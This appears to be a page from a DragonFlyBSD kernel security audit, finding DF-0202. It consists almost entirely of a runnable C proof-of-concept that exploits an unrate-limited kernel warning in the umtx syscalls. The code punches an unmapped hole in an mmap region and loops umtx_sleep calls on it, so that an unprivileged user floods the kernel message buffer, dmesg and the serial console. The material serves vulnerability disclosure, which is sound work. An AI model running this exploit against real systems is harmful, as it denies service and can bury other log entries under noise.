DragonFlyBSD Kernel Audit
DF-0202 / umtx_flood.c
← back to finding ↓ download raw
/*
 * DF-0202 — Unthrottled kprintf log-flood DoS via umtx.
 *
 * sys_umtx_sleep (sys/kern/kern_umtx.c:150-156) and sys_umtx_wakeup
 * (:289-295) emit one kprintf("WARNING can't translate ...") for every
 * call made on a user address whose leaf PTE is invalid but whose
 * page-table-walk is otherwise resolvable (e.g. an address in a hole
 * punched inside a populated mmap region).  There is NO rate limit, so
 * any unprivileged user can loop syscall(469, ...) and flood the kernel
 * msgbuf / dmesg / serial console.
 *
 * PoC: mmap two pages, touch the first (populating the page-table page
 * for the 2 MiB region), munmap the second (leaving its leaf PTE
 * invalid while the PDE remains present), then hammer umtx_sleep on
 * the now-unmapped second page.  Each call emits one WARNING line.
 */

#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <unistd.h>

#define UMTX_SLEEP       469
#define UMTX_WAKEUP      470
#define ITER_DEFAULT     5000

int
main(int argc, char **argv)
{
    long iter = ITER_DEFAULT;
    long i;
    long einval = 0, eother = 0;
    long pagesize;
    char *base;
    void *target;
    struct timespec t0, t1;
    double secs;

    if (argc > 1)
        iter = strtol(argv[1], NULL, 10);
    if (iter <= 0)
        iter = ITER_DEFAULT;

    pagesize = sysconf(_SC_PAGESIZE);
    /* MAP_FIXED at a fresh, isolated 2 MiB-region so the page-table page
     * for the region is fresh and the target's leaf PTE is genuinely
     * invalid (rather than pre-populated by libc/stack mappings). */
    base = mmap((void *)0x50000000, pagesize * 2, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0);
    if (base == MAP_FAILED) {
        perror("mmap");
        return 2;
    }
    base[0] = 1;                                  /* populate page 0 */
    if (munmap(base + pagesize, pagesize) != 0) { /* punch hole in page 1 */
        perror("munmap");
        return 2;
    }
    target = base + pagesize;                     /* leaf PTE invalid */

    printf("DF-0202: pid=%ld uid=%ld  flooding %ld umtx_sleep() on hole-punched "
           "addr %p (base=%p)\n",
           (long)getpid(), (long)getuid(),
           iter, target, base);
    fflush(stdout);

    clock_gettime(CLOCK_MONOTONIC, &t0);
    for (i = 0; i < iter; i++) {
        int rc = syscall(UMTX_SLEEP, target, 0xffffffff, 1);
        if (rc == -1) {
            if (errno == EINVAL)
                einval++;
            else
                eother++;
        }
    }
    clock_gettime(CLOCK_MONOTONIC, &t1);

    secs = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;
    printf("DF-0202: %ld umtx_sleep calls in %.3fs (%.0f calls/s)\n",
           iter, secs, iter / secs);
    printf("DF-0202: returns: EINVAL=%ld other=%ld\n", einval, eother);
    printf("DF-0202: kernel emitted %ld kprintf(\"WARNING can't translate\") "
           "lines -> msgbuf/dmesg/syslog flooded\n", iter);
    return 0;
}